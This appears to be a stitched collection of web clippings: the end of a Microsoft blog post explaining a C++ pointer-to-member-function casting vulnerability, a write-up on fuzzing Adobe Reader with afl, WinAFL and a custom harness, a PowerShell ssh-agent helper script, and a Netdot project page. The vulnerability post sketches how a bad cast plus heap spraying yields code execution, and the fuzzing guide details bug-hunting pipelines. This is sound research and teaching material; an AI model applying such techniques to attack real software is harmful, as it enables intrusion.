address**.** The fat pointer implementation is compiler-dependent, but their
size is always typically bigger than a function pointer**.** In the Microsoft
Visual C++ a pointer-to-member-function \(fat pointer\) can be 4, 8, 12 or
even 16 bytes in size**\!** Why so many options and why is so much memory
needed**?** It all depends on the nature of the class it's associated
with**.**

**Classes and inheritance**

The nature of a “pointer to member function” is driven by the layout of the
class for the member function that we’re wanting to point to**.**

There are some excellent references on the details of C++ object layout – see
\[1,2\] for example**.** We give just one example class and associated layout:
consider two unrelated classes that derive from the same base class:

[code]

    class Tcpip {
    public:
        short ip_id;
        virtual short chksum();
    };
    
    class Protocol_1 : 				class Protocol_2
    	: virtual public Tcpip {				: virtual public Tcpip {
    public:						public:
    	int value_1;					int value_2;
    	virtual int proto_1_init();			virtual int proto_2_init();
    };						};
    
[/code]

These two classes could be written by completely different developers or even
companies**.** They don't need to be aware of each other. Now we imagine the
situation that a third company wants to write a wrapper for these two
protocols and export APIs that are independent of the specification of
either**.** The new class could look like this:

[code]

    class Proto_wrap 
    	: public Protocol_1, public Protocol_2 {
    public:
    	int value_3;
    	int parse_something();
    };
    
[/code]

Note that having declared Protocol\_1 as Protocol\_1 with virtual inheritance
means that there is a single version of ip\_id \(and chksum\(\)\) in the
memory layout and the statement

[code]

    	pProtoWrap->chksum(); 
[/code]

is unambiguous**.** The layout of a Proto\_wrap object is:

<img src='http://blogs.technet.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-61-47/7725.adam1.png' />

\(Without the virtual inheritance, each of Protocol\_1 and Protocol\_2 would
have its own copy of the ip\_id member, leading to ambiguity if we were to try
something like: int a = pProto\_wrap->ip\_id \)

**Pointer-to-member-function \(fat pointers\)**

Now that we have recalled some relevant background we can return to the
original problem**.** Why are pointer-to-member-function bigger than a C-style
function pointer**?** The Microsoft VC++ compiler can generate pointer-to-
member-function \(fat pointers\) that are 4, 8, 12 or even 16 bytes long
\[3,4\]**.** Why are there so many options and why do they need so much
memory**?** Hopefully thinking about the object layout example above provides
some hints..**.**

If we create a pointer-to-member-function to a static function it will be
converted to a normal \(C-like\) pointer and will be 4-bytes long \(on 32 bits
arch, in other case CPU word size\)**.** Why? Because static functions have a
fixed address that is unrelated to any specific object instance**.**

In the single inheritance case, any member function can be referred to as an
offset from a single ‘this’ pointer**.**

In the multiple inheritance case however, given a derived object \(e**.** g.
Proto\_wrap\) it is not the case that its ‘this’ pointer is valid for each
base class**.** Rather ‘this’ needs to be adjusted depending on which base
class is being referred to**.** In this case “fat pointer” will be 2 CPU words
long:

[code]

    				| offset | “this” |
[/code]

See \[5\] for a more detailed walkthrough**.**

Additionally if our object uses virtual inheritance \(the layout example given
in the previous section\), then we need to know not only which of the vtables
is relevant \(Protocol\_1’s or Protocol\_2’s\) but also the offset within that
corresponding to the member function that we’re wanting to point to**.** In
this case the pointer-to-member-function size will be 12 bytes \(3 CPU words
size\)**.**

This is not the end… You can also forward declare an object and in this case
the compiler has no idea about its memory layout and will allocate a 16-byte
structure for the pointer-to-member-function unless you specify the kind of
inheritance associated with the object via special compiler
switches/pragmas**.** \[3,4\].

So now I will try to explain some interesting security-related behavior which
I met during my work…

**C++ pointer casting vulnerability**

Let's analyze the following skeleton example**.** We have a base class, which
is virtually inherited by two further classes: RealData holds some data ;
Manage can process specific types of data; ‘BYTE \*\_ip’ is used as the means
to direct which of Manage’s processing methods should be called**.**

[code]

    class UnknownBase;
    
    class RealData {
       friend Manage;
       public:
    ..**.**
          ULONG_PTR  _lcurr;	// some real data..**.**
          int   _flags;
          int   _flags2;
          int   _flags3;
    
    };
    
    class Manage : public virtual UnknownBase {   
          friend class ProcessHelper;
    public:
          BYTE *   _ip;
          RealData *    _curr;
    ..**.**
    };
    
    class ProcessHelper  : virtual UnknownBase {
       public:
          typedef LONG_PTR (Manage::*ManageFunc)();
    
          struct DummyStruct {
             ManageFunc _executeMe;  // pointer to member function**!**
          };
    ..**.**
    };
    
    LONG_PTR Manage::frame() {
       LONG_PTR offset = (this->*(((ProcessHelper::DummyStruct *) _ip)->_executeMe))();
       return offset;
    }
    
[/code]

The key to this vulnerability is the rather convoluted cast in
Manage::frame\(\)**.** Note the types involved:

  * \_ip is of type BYTE \* type
  * ProcessHelper::DummyStruct is a struct with a pointer-to-function member type ManageFunc

So the ‘BYTE \*’ data is actually being cast \(in a roundabout way via a
struct\) to a ManageFunc pointer-to-member-function type, ie the instruction
is really equivalent to:

[code]

    LONG_PTR offset = ((ManageFunc)_ip)();
[/code]

However the compiler errors out on such a statement, flagging that ‘BYTE \*’
and ‘ManageFunc‘ are incompatible types \(different sizes in
particular**\!**\) to be casting to and from. It appears here that the
developer worked round the compiler error by introducing the ‘struct
DummyStruct’ subterfuge: they assumed that under the hood the ManageFunc
really was just a standard pointer, and were able to indirectly achieve the
incorrect cast… C/C++ will always allow the persistent developer to eventually
do the wrong thing**.**

Let’s run through how this breaks in practice**.** We create the following
instances:

[code]

      Manage *temp_manage = new Manage;
      Real_block *temp_real_block = new RealData;
    
[/code]

To illustrate the issue we might set up the ‘flags’ members as follows:

[code]

      temp_real_block->_flags = 0x41414141;
      temp_real_block->_flags2 = 0x41414141;
      temp_real_block->_flags3 = 0x41414141;
    
[/code]

And let’s suppose the code does something like the following:

[code]

      temp_manage->_ip = (BYTE *)&temp_real_block->_lcurr;
      temp_manage->frame(); //  does the (ManageFunc)_ip) cast
    
[/code]

This leads to a crash - after casting to the DummyStruct structure with
pointer-to-member-function our base casting expects to have a fat pointer
memory layout associated with virtual inheritance, specifically expecting to
find vbtable offset information at the 3rd CPU word: this value is taken and
added to the whole pointer**.** In our case, \_ip was pointing at \_lcurr and
so we have the following adjacent data:

[code]

          ULONG_PTR  _lcurr;
          int   _flags;
          int   _flags2;
          int   _flags3;
    
[/code]

So here, the arbitrary \_flags data will be added to the memory address
\_lcurr in an attempt to form the address of the member function**.**

Note that RTTI \(run-time type information\) does not help here; the incorrect
cast is directly computing an incorrect memory address to call**.**

The security consequences are potentially severe - full remote code execution
\(RCE\)**.** In such an incorrect ‘standard pointer’ to ‘pointer-to-member-
function’ cast scenario, the data adjacent to the standard pointer will be
used to calculate the address of the member function**.** If the attacker
controls this then by choosing suitable values here, he can cause that address
calculation to result in a value of his choosing, thus gaining control of
execution**.**

_In the real vulnerability we didn’t have direct control over what will be
written to the “\_flags” field**.** But we were able to execute some code path
which set “\_flags” value to not zero – the number 2 \(two\)**.** So we were
able to set “\_flags” to the value 2 and then execute vulnerable code**.**
Because pointer was badly calculated \(because 2 was added to the pointer\),
memory which was cast to the structure had bad values**.** Inside of the
structure was function pointers and because they were shifted by 2 bytes, they
were pointing somewhere in memory which always was somewhere in the heap
range**.** An attacker could spray the heap and thus control this**.** \[6\]_

**Summarize**

The higher level a language, the more problems the associated compilers must
solve**.** But the developer is ultimately responsible for writing correct
code**.** Typically C/C++ compilers will ultimately allow you to cast to and
from unrelated types \(C pointers to pointers-to-member-functions for
example\) and back again**.** Developers should avoid such illegal activity,
take careful note of compiler warnings that occur when they break the rules,
and be aware that if they persist they’re on their own… Microsoft Visual
Compiler detects described situation and inform developers about that by
printing appropriate message:

[code]

    error C2440: 'type cast' : cannot convert from 'BYTE *' to 'XXXyyyZZZ'**.** 
      There is no context in which this conversion is possible**.**
[/code]

Btw. I would like to thanks following people for help with my work:

  * Tim Burrell \(MSEC\)
  * Greg Wroblewski \(MSEC PENTEST\)
  * Suha Can

Best regards,  
Adam Zabrocki

**References**

\[1\] Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI

\[2\] C++: under the hood

\[3\] MSDN: Inheritance keywords

\[4\] MSDN: pointers-to-members pragma

\[5\] Pointers to member functions are very strange animals

\[6\] http://technet.microsoft.com/en-us/security/bulletin/ms13-002

****

# Fuzzing Adobe Reader for exploitable vulns \(fun \!= profit\)

**Created:**| _3/2/2019 6:04:31 PM_  
---|---  
**Updated:**| _3/2/2019 6:04:31 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Binaries vs websites

It has been half a year since my last blog post covering an IDOR in a website
API. About time to write about something new and hopefully interesting\!
Having switched my focus from websites to binaries a new world opened up to
me.

The reason I switched is my passion for low-level engineering. Reading through
disassemblies, walking along with code being executed in a debugger, memory
corruption, etc. Reverse engineering has always been a passion of mine and
binary exploitation seems to get pretty close. I got completely hooked during
@corelanc0d3r’s Exploit Development Bootcamp, after which I treated myself to
the Advanced class as well.

# Adobe Reader

Step one is finding your first target. The reason I chose Adobe Reader is
primarily that it’s a well-known application, offering reasonable bounties for
example through submission to the ZDI. Also, my assumption was that it would
be easier to find bugs in a PDF reader than in a browser like Chrome. I would
say, to my knowledge, that Adobe Reader, Office and the well-known internet
browsers are the top 5 well known and hardest application targets to find
exploitable vulnerabilities in. Which makes them interesting.

# Before exploitation comes fuzzing

Wow did I underestimate this one\! I told myself it would take quite some time
to build a reliable exploit once I found a bug in Adobe Reader. There are so
many mitigations to work through once you have an exploitable crash. Amongst
others: Data Execution Protection \(DEP: prevents your code from being
executed\), Address Space Layout Randomization \(ASLR: where in memory is my
code anyway?\), Sandboxing \(you need to escape this one, it limits what your
code can do\). It’s hard to end up with reliable code execution.

But before you can start building an exploit you need to trigger a bug or
multiple bugs. Perhaps one to leak a DLL address to bypass ASLR and another
one which overwrites an exception handler address and triggers a crash. So how
do you find these bugs? The answer is fuzzing. And in case of a hard target
like Adobe Reader, this can take forever.

Well, for me it did. Or at least months.

Diving into fuzzing you’ll find out it’s a world on its own. There are many
concepts and tools. Endless possibilities to try and force crashes on targets.
The basic idea is generating as many inputs \(e.g. input files\) as you can
and running them as fast as you can against your target. If you are lucky, one
or more inputs will crash the target.

With harder targets besides luck, you’ll need better ideas than throwing
around random inputs.

# Many ways to Rome

Fuzzing a complex target like Adobe Reader requires you to get to know the
target really well. Open up some of the executables / DLL’s in a disassembler
and see what you can make up of the symbols \(if any\) and references. Perhaps
you’ll find out Adobe Reader uses libtiff, which learns us that might be a way
in. Give this recon process plenty of time.

Now let’s see how we can attack our target.

## Generating corpus on open source PDF readers

Researcher @yrp604 explained to me it’s hard to get coverage on a target like
Adobe Reader, mostly because it’s slow and hard to orchestrate. His suggestion
was to create a large enough PDF corpus on open source PDF readers and throw
that corpus at Adobe Reader. And so I did.

Amongst the most popular fuzzers is American Fuzzy Lop \(afl-fuzz\) by
@lcamtuf. Instead of just continuously throwing random input files at a
target, afl actually learns what the input file format looks like by covering
the code paths \(edges to be exact\) of the target application. Also, it
leverages Linux forking to run hundreds or even thousands of executions of
your target per second per processor core.

In order to fuzz open source readers on Linux you should get yourself a couple
of vm’s with a distro you like. Install afl on it and download the open source
reader tarball. Now unpack it into /dev/shm, which is shared memory. We try to
compile everything statically and run everything from memory, in order to gain
more executions per second. Also, you’ll need to compile the open source
reader using one of afl’s compilers. Furthermore we should patch out any
output file writes for more speed.

I have set up fuzzing for 3 different targets in parallel: xpdf, mupdf and
ghostscript. Let me share with you an example on xpdf.

  * Unpack xpdf v4.x sourcecode into /dev/shm so we are working in RAM.
  * Your target needs to accept an input file and should fully parse the input PDF. I picked pdftoppm.c.
  * Edit pdftoppm.c and patch out the output file write. I simply placed a continue inside the for loop right before the writes starting with the line: if \(\!strcmp\(ppmRoot, “-“\)\).
  * Compile xpdf using afl’s gcc or clang, for me clang ended up running xpdf faster. Harden it and use Address Sanitizer to find more interesting inputs:

[code]

    mkdir build && cd build && CC=afl-clang-fast CXX=afl-clang-fast++ cmake -DCMAKE_BUILD_TYPE=Release .. && USE_ASAN=1 AFL_HARDEN=1 make
[/code]

  * Place your input files in /dev/shm/in-raw. You should start with a nice input corpus, for instance, get some files from https://github.com/mozilla/pdf.js/tree/master/test/pdfs
  * You need to isolate unique inputs, no reason to fuzz inputs that offer the same code paths. We do this by asking afl to minimize the input corpus for us:

[code]

    afl-cmin -i in-raw -o in -- xpdf-4.00/build/xpdf/pdftoppm -mono -r 1 @@ -
[/code]

  * Now you could also minimize each file using afl-tmin if you feel like it. If you don’t then because of the way afl works at least you should probably do something like:

[code]

    find in/ -type f -size +10k -delete
[/code]

  * Now run your fuzzer from within screen or tmux and run as many fuzzers as you have cores available\! You can verify you’re on the right track using afl-gotcpu.

[code]

    afl-fuzz -i in -o out -x /usr/share/afl/dictionaries/pdf.dict -M master -- xpdf-4.00/build/xpdf/pdftoppm -mono -r 1 @@ -
[/code]

  * Notice the command line I’m using with pdftoppm: -mono -r 1 really speeds things up. Furthermore I use the afl provided dictionary which helps afl learn the PDF format much faster. The @@ will be replaced by afl with the generated inputs. Replace -M master with -S slave1, -S slave2 etc for each core.
  * Don’t forget to setup a cronjob that backups your corpus from /dev/shm to persistent storage. A simple crash of your vm will otherwise make you start over\!
  * Note: you may be able to leverage afl’s persistent mode which will make the fuzzing even faster by looping the actual rendering functions. Look into it, the docs are very good.

On a 6 core Xeon vm I was able to get about 1200 executions per second on
xpdf, 4000 on mupdf and 20 on ghostscript \(lol\). You can get a nice summary
view using afl-whatsup.

## Throwing the open source PDF corpus at Adobe Reader

Running these 3 fuzzers for about 6 weeks got me a corpus of 500k pdf files.
Now there’s a couple of things we need to take care of before we can do a
proper test run. First of all, you’ll have 3 servers with /dev/shm/out/
populated with subdirectories queue, crashes, hangs \(each per master/slave\).
Copy the out directories over to your local machine or vm and use some Unix
foo to join them all together into a single directory with unique filenames.
Something like this should do the trick:

[code]

     find . -type f -name 'id*' -size +0 | gawk 'BEGIN{ a=1 }{ printf "cp \"%s\" ../%08d.pdf\n", $0, a++ }' | bash
[/code]

Now create a Windows batch file that will loop through all your files and
launch Adobe Reader, for example:

[code]

    for %%f in (y:\*.pdf) do AcroRd32 %%f
[/code]

You can run this from your Windows vm. You’ll also need to code a popup killer
script using AutoIt which will close popups like “This PDF is corrupted”. And
since you cannot add a timeout to this setup, you’ll have to manually close
the Reader window every single time… Right.

How can we improve on this? Simply use BugId by @berendjanwever. It will
output html reports for you and you can add timeouts. The batch file would now
look like this and you’re all set:

[code]

    for %%f in (y:\*.pdf) do bugid acrobatdc --nApplicationMaxRunTime=15 -- "%%f"
[/code]

Notice that BugId will suggest enabling full pageheap for your target, and you
should when testing/fuzzing targets. It will offer to set it for you. You can
also use gflags for this purpose to set it yourself. Having pageheap enabled
will make you find more bugs. Don’t forget to disable it again when building
your exploits.

Again I suggest you deploy the whole thing on a cloud vm so you can close your
laptop screen while it’s running in the background. And while you’re at it why
not run the exact same setup for FoxitReader as well in parallel?

For me, this 500k corpus did not do much with Adobe Reader \(as in no crashes
at all, a couple of hangs\). It did crash FoxitReader though, but those
crashes were commonly agreed upon not to be exploitable. Bugs are not
necessarily vulnerabilities.

## \(Win\)AFL fuzzing Adobe Reader itself

The open source PDF corpus did not contain any inputs that triggered a vuln in
Adobe Reader or FoxitReader.

Next\!

Wouldn’t it be cool to use afl on Adobe Reader itself? It might be slow, but a
crash would then be a true crash on our final target. Adobe Reader runs on
Windows and macOS. I’m a Linux user so I started out with a local Windows 8 VM
with Adobe Reader DC installed. No need to install Windows 10 I figured
because that might just over complicate things with even more mitigations up
front. You’ll know by now that afl does not support Windows out of the box,
but @ifsecure actually ported it by leveraging DynamoRIO and released WinAFL.

WinAFL will require you to specify a function name \(given the target has
symbols\) or function offset, which you should find by reverse engineering
your target application. The function should open your input, process it,
close your input. WinAFL will run your target application and loop this
function, again and again, each time restoring the state of memory as if it
were the first run, replacing the input file meanwhile. This is a clever way
to reach a high number of executions per second.

So I tried WinAFL on an easy target first: unrar.exe, a small CLI application.
This seems to work great. Load unrar.exe in a disassembler and find your
offset and number of args. Populate a small input corpus and run WinAFL. For
example:

[code]

    c:\research\winafl\bin64\afl-fuzz.exe -t 1000+ -i c:\research\unrar\in -o c:\research\unrar\out -D C:\research\dr\bin64 -- -fuzz_iterations 5000 -target_module unrar.exe -nargs 3 -target_offset 0xE864 -coverage_module unrar.exe -- unrar.exe p @@
[/code]

For the more complex apps like Adobe Reader and FoxitReader, I wasn’t able to
get things going this easily.

### Attempt 1: Harness AcroRd32.dll

When your disassemble Adobe Reader \(I focussed on AcroRd32.dll\) you’ll find
some references to PDDoc. This made me think: how about coding a harness which
does a LoadLibrary on AcroRd32.dll and using GetProcAddress call the methods
that open and process a PDF document.

That didn’t work out: the number of args did not match the number of args I
could find in a couple of online Adobe SDK resources. Furthermore, I had too
much trouble figuring out all the crazy data structures you need to put in
place.

Trial and error kept resulting in error. My harness.cpp is now in the trash.

### Attempt 2: Harness JP2KLib.dll

This dll is responsible for rendering JPEG2000 files, so what if we can focus
on just that part of the PDF processing? Well, again, I hit the wall in trying
to figure out the way JP2KLib.dll works. Making use of API call spying
software did not help either \(no symbols, just huge structures\).

Next\!

### Attempt 3: Find an offset for WinAFL to target the real thing

I put in quite some time and effort to find a fuzzable function in
AcroRd32.exe and .dll.

But even if you could find one that meets all WinAFL’s requirements of such a
method, by the time you try to fuzz it with WinAFL you’ll find out it cannot
cover code running in child processes. And Adobe Reader spawns a child process
that does the heavy lifting.

You can confirm this yourself by loading Reader in WinDbg and on the initial
break apply .childdbg 1. On subsequent breaks, you can check out loaded
modules, switch between the processes, etc.

Not sure even if child coverage would be possible you’ll be able to provide
WinAFL with a proper target function. It needs to open your input, render it,
and close it immediately to free resources so WinAFL can put a new input in
place and repeat. I don’t think such a function is built into Adobe Reader
:-\) Perhaps… coding a custom plugin? Then have the fuzzer cover AcroRd32.dll
but target your plugin function. I did not investigate this path further.

## Harnessing the PDF Libraries

Browsing Adobe’s and Foxit’s websites you’ll find out there are actually SDK’s
you can download and use. This gave me the idea you can write your own harness
that simply renders a given input PDF in memory using the engine exposed by
the SDK. Odds are this is the exact same engine as the actual Reader uses to
do the rendering.

First of all you need to get a copy of the Adobe and/or Foxit SDK’s. Note
these SDK’s are available as evaluation packages.

Here’s the C++ code for the Adobe PDFL harness I made and used to fuzz the
rendering engine:

[code]

    // ***************************************************************************************************
    //
    // Harness.cpp leverages the Adobe PDFL libs to render (in-mem) every page of a given pdf.
    // Features a public fuzz method which can be used as target method in WinAFL
    //
    // Based on the open source RenderPage DataLogic PDFL example from github:
    // https://github.com/datalogics/adobe-pdf-library-samples/tree/master/CPlusPlus/Sample_Source/
    //
    // Confirm render timing: powershell -Command "Measure-Command {./harness.exe test.pdf | Out-Default}"
    //
    // (c) kciredor 2018
    //
    // ***************************************************************************************************
    
    #include "APDFLDoc.h"
    #include "InitializeLibrary.h"
    
    #include "RenderPage.h"
    
    #define RESOLUTION  110.0
    #define COLORSPACE  "DeviceRGB"
    #define FILTER      "DCTDecode"
    #define BPC         8
    
    extern "C" __declspec(dllexport) void fuzz(char* fn);
    
    APDFLib libInit;
    
    void fuzz(char* fn) {
        std::cout << "Rendering " << fn << " - Res " << RESOLUTION << ", Colorspace " << COLORSPACE << ", Filter " << FILTER << ", BPC " << BPC << std::endl;
    
        DURING
            APDFLDoc pdfDoc(fn, true);
        
            for (int i = 0; i < pdfDoc.numPages(); i++) {
                PDPage pdPage = pdfDoc.getPage(i);
                RenderPage drawPage(pdPage, COLORSPACE, FILTER, BPC, RESOLUTION);
    
                PDPageRelease(pdPage);
            }
    
            PDDocRelease(pdfDoc.getPDDoc());
        HANDLER
            std::cout << "Catched PDFL error" << std::endl;
        END_HANDLER
    }
    
    int main(int argc, char** argv) {
        if (! libInit.isValid()) {
            std::cout << "PDFL init failed with code " << libInit.getInitError() << std::endl;
    
            return false;
        }
    
        if (argc != 2) {
            std::cout << "Requires input.pdf parameter" << std::endl;
    
            return false;
        }
    
        fuzz(argv[1]);
    
        return true;
    }
[/code]

Now compile it, put it next to the PDFL dll’s, populate a small seed corpus
\(try ‘small.pdf’\) and start fuzzing:

[code]

    c:\research\winafl\bin32\afl-fuzz.exe -t 10000+ -x c:\research\winafl\testcases\extras\pdf.dict -i c:\research\reader\in -o c:\research\reader\out -D C:\research\dr\bin32 ^
    -- -fuzz_iterations 5000 -target_module harness.exe -nargs 1 -target_method fuzz -covtype edge ^
    -coverage_module DL150PDFL.dll ^
    -- harness.exe @@
[/code]

Put this setup on a cloud vm and let it run for a while. Triage the crashes it
finds daily against the real Acrobat Reader. Unfortunately for me this path
did not work out the way I expected: PDFL crashes \!= actual Reader crashes.

The exact same thing you can do for Foxit’s library. Actually got some real
FoxitReader crashes here, but not exploitable again. Coding a harness for this
one is just as easy and I’ll leave it up to you to have some fun with it.

## Better understanding the PDF file format: libtiff

Like I mentioned earlier, you might find out Adobe Reader uses libtiff when
you disassemble the main executable or main dll. Same thing with libpng. So
another idea would be to fuzz libtiff and wrap the crashing tiff’s into a PDF.
You can fuzz libtiff using afl on Linux and get some nice speeds \(12000/sec
on 6 Xeon cores\), this time I applied afl’s persistent mode as well.

If you want to wrap a tiff inside a PDF without changing the tiff a single
bit, you can put it inside an XFA as an ImageField with base64 embedded image
content. XFA is one of two ways to embed a form into a PDF. You want to
automate this process, but you can start with a clean PDF shaped like this by
using the Adobe AEM Forms Designer. Apparantly it’s now considered old and
released for free \(serial\# on adobe.com\), but the download link is quite
hard to find.

So after fuzzing libtiff for a couple of days and automatically wrapping all
crashes into XFA’s into PDF’s and triaging the resulting PDF’s I did not get
any worthwhile crashes. On the other hand, some of the PDF’s did manage to
crash Adobe Reader 9.3, exploitable even\! But that’s old stuff, I’m targeting
the latest DC version. It appears Adobe hardens libtiff quite a bit, it’s not
simply a copy of the latest open source version that they use.

## Coding my own custom fuzzer

Almost out of ideas. I remember Corelan hinting you have to write your own
fuzzers or everyone will find the same bugs. The art of fuzzing \(PDF link at
the end of this write-up\) suggests the same.

Oh well. Let’s do it. :-\)

How do you start coding your own fuzzer? I would say there’s a certain amount
of basic requirements:

  * Run a target application
  * Feed the target your inputs
  * Handle timeouts
  * Catch crashes
  * Fuzz inputs

I started by reading through WinAFL and afl sourcecode to get an understanding
of how this works. Soon enough I decided on writing both the fuzzer and a
DynamoRIO client in C and use the client for getting code coverage. DR also
allows you to catch exceptions \(which could be crashes\). Halfway there I
figured out I like the speed of coding in Go better so now my fuzzing and
orchestration logic is written in Go and the DynamoRIO part \(the client\) is
written in C.

My fuzzer is called What The Fuzz and is able to create an input queue based
on a given seed and handle all the basic requirements I mentioned before. It
runs on both Linux and Windows and finds crashes on xpdf in seconds. WTF even
found crashes on FoxitReader within an hour or so, but unfortunately not
exploitable so far.

<img src='img/Temp2_3345.png' width='672' height='403' alt='What The Fuzz' />

For now, it’s a chaos monkey leveraging Radamsa but I’m planning on actually
coding the ‘code coverage guided fuzzing’ soon. Like @rantyben says in an epic
presentation: start fuzzing with what you have, cold cores don’t add any
value, meanwhile improve functionality.

# About vm deployment / automation

Sure you can run fuzzers on your own laptop, but it will ruin your SSD and you
can’t turn off your laptop. And it does not scale. You need remotely deployed
vm’s, the more the better.

You could use for instance a Windows 2008 Server image on a cloud provider and
install your tooling.

Another possibility is to create your own vm image using KVM + virt-manager
and make sure it’s compatible with your preferred cloud provider \(think about
drivers like virtio\). Deploy the image and you’re all set having your fully
customized OS and tooling of choice, ready to fuzz\!

Now set up some cronjobs or whatever kind of scheduled job you fancy. Backup
your corpus every night. Sometimes cloud vm’s crash and you need to prepare
for that.

# Fun does not always mean profit

When you’ve continued reading this far you’ll have found out that I did not
find any bugs in Adobe Reader itself, despite many attempts. Found a ton of
bugs in lots of other software though. Every single time I thought: this is a
smart idea, this should probably get me some bugs\!

Because there’s no way to build an exploit if you don’t have the
vulnerabilities, this is where it ends for now. Need an energy recharge to
start looking into PDF’s again ;-\)

So why did I release this research? Because I did not find that much research
that explains in-depth on how \(not\) to fuzz this kind of targets. Often
times you’ll get hints and from there you are on your own. Perhaps someone
else can take it from here given my experiences so far. It will hopefully save
you months of trial and error and inspire you to find more clever ways, or
simply do what I did but throw many more VM’s at it and cross your fingers\!
Let me know if you get lucky.

# Resources

Definitely, check out the following resources on \(PDF\) fuzzing if you want
to learn more:

  * Jaanus Kääp: corpus distillation & fuzzing
  * j00ru: effective file format fuzzing
  * René Freingruber: the art of Fuzzing
  * Ke Liu: dig Into the Attack Surface of PDF and Gain 100+ CVEs in 1 Year

# What’s next

Perhaps I’ll continue researching new angles with Adobe Reader. Perhaps I’ll
switch to vm escapes. Malware analyses sounds fun. Hacking IoT sounds fun.
Odds are I’ll be fuzzing some more and it might now be the time to follow a
@richinseattle fuzzing training to add new insights and keep on learning.

Any suggestions would be very welcome, please hit me up on Twitter @kciredor\_
or leave a comment below this post.

Let’s keep on hacking\!

Cheers, kciredor

  

# gist: 187305 - GitHub

**Created:**| _12/13/2009 9:53:17 PM_  
---|---  
**Updated:**| _12/13/2009 9:53:29 PM_  
**Author:**| __  
**Tags:**| _powershell_  
  

ssh-agent-utils.ps1 \#

embed

raw

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    
    
[/code]

|

[/code]

[code]

\# SSH Agent Functions \# Mark Embling \(http://www.markembling.info/\) \# \#
How to use: \# - Place this file into
%USERPROFILE%\Documents\WindowsPowershell \(or location of choice\) \# -
Import into your profile.ps1: \# e.g. ". \(Resolve-Path
~/Documents/WindowsPowershell/ssh-agent-utils.ps1\)" \[without quotes\] \# -
Enjoy \# \# Note: ensure you have ssh and ssh-agent available on your path,
from Git's Unix tools or Cygwin.  \# Retrieve the current SSH agent PId \(or
zero\). Can be used to determine if there \# is an agent already starting.
function Get-SshAgent\(\) \{  $agentPid =
\[Environment\]::GetEnvironmentVariable\("SSH\_AGENT\_PID", "User"\)  if
\(\[int\]$agentPid -eq 0\) \{  $agentPid =
\[Environment\]::GetEnvironmentVariable\("SSH\_AGENT\_PID", "Process"\)  \}
if \(\[int\]$agentPid -eq 0\) \{  0  \} else \{  \# Make sure the process is
actually running  $process = Get-Process -Id $agentPid -ErrorAction
SilentlyContinue  if\(\($process -eq $null\) -or \($process.ProcessName -ne
"ssh-agent"\)\) \{  \# It is not running \(this is an error\). Remove env vars
and return 0 for no agent.
\[Environment\]::SetEnvironmentVariable\("SSH\_AGENT\_PID", $null, "Process"\)
\[Environment\]::SetEnvironmentVariable\("SSH\_AGENT\_PID", $null, "User"\)
\[Environment\]::SetEnvironmentVariable\("SSH\_AUTH\_SOCK", $null, "Process"\)
\[Environment\]::SetEnvironmentVariable\("SSH\_AUTH\_SOCK", $null, "User"\)  0
\} else \{  \# It is running. Return the PID.  $agentPid  \}  \} \}  \# Start
the SSH agent. function Start-SshAgent\(\) \{  \# Start the agent and gather
its feedback info  \[string\]$output = ssh-agent  $lines =
$output.Split\(";"\)  $agentPid = 0  foreach \($line in $lines\) \{  if
\(\(\[string\]$line\).Trim\(\) -match "\(.+\)=\(.\*\)"\) \{  \# Set
environment variables for user and current process.
\[Environment\]::SetEnvironmentVariable\($matches\[1\], $matches\[2\],
"Process"\)  \[Environment\]::SetEnvironmentVariable\($matches\[1\],
$matches\[2\], "User"\)  if \($matches\[1\] -eq "SSH\_AGENT\_PID"\) \{
$agentPid = $matches\[2\]  \}  \} \}  \# Show the agent's PID as expected.
Write-Host "SSH agent PID:", $agentPid \}  \# Stop a running SSH agent
function Stop-SshAgent\(\) \{  \[int\]$agentPid = Get-SshAgent  if
\(\[int\]$agentPid -gt 0\) \{  \# Stop agent process  $proc = Get-Process -Id
$agentPid  if \($proc -ne $null\) \{  Stop-Process $agentPid  \}  \# Remove
all enviroment variables
\[Environment\]::SetEnvironmentVariable\("SSH\_AGENT\_PID", $null, "Process"\)
\[Environment\]::SetEnvironmentVariable\("SSH\_AGENT\_PID", $null, "User"\)
\[Environment\]::SetEnvironmentVariable\("SSH\_AUTH\_SOCK", $null, "Process"\)
\[Environment\]::SetEnvironmentVariable\("SSH\_AUTH\_SOCK", $null, "User"\)
\} \}  \# Add a key to the SSH agent function Add-SshKey\(\) \{  if
\($args.Count -eq 0\) \{  \# Add the default key \(~/id\_rsa\)  ssh-add  \}
else \{  foreach \($value in $args\) \{  ssh-add $value  \}  \} \}  \# Start
the agent if not already running; provide feedback $agent = Get-SshAgent if
\($agent -eq 0\) \{ Write-Host "Starting SSH agent..." Start-SshAgent \# Start
agent Add-SshKey \# Add my default key \} else \{ Write-Host "SSH agent is
running \(PID $agent\)" \}  
---|---

# WikiStart - Netdot - Redmine

**Created:**| _9/11/2013 3:17:00 PM_  
---|---  
**Updated:**| _9/11/2013 3:17:00 PM_  
**Author:**| __  
**Tags:**| _security tools network-security_  
  

# **W** ikiStart - Netdot - Redmine****

## The NETwork DOcumentation Tool \(Netdot\) Project Site****¶

ScreenShots  | Download  | Documentation  | Developers  | Support  | Links  | Open Source Lab 
<img src='img/Temp2_9505.png' />

### What is Netdot******?**¶

Netdot is an open source tool designed to help network administrators collect,
organize and maintain network documentation**.**

Netdot is actively developed by the Network Services  group at the University
of Oregon , and it is an essential tool in our every day operation**.** Netdot
also receives development support from the Network Startup Resource Center

Relevant features:

  * Device discovery via SNMP
  * Layer2 topology discovery and graphing, using: 
    * CDP/LLDP
    * Spanning Tree Protocol
    * Switch forwarding tables
    * Router point-to-point subnets
  * IPv4 and IPv6 address space management \(IPAM\) 
    * Address space visualization
    * DNS/DHCP config management
    * IP and MAC address tracking
  * Cable plant \(sites, fiber, copper, closets, circuits..**.**\)
  * Contacts \(departments, providers, vendors, etc**.**\)
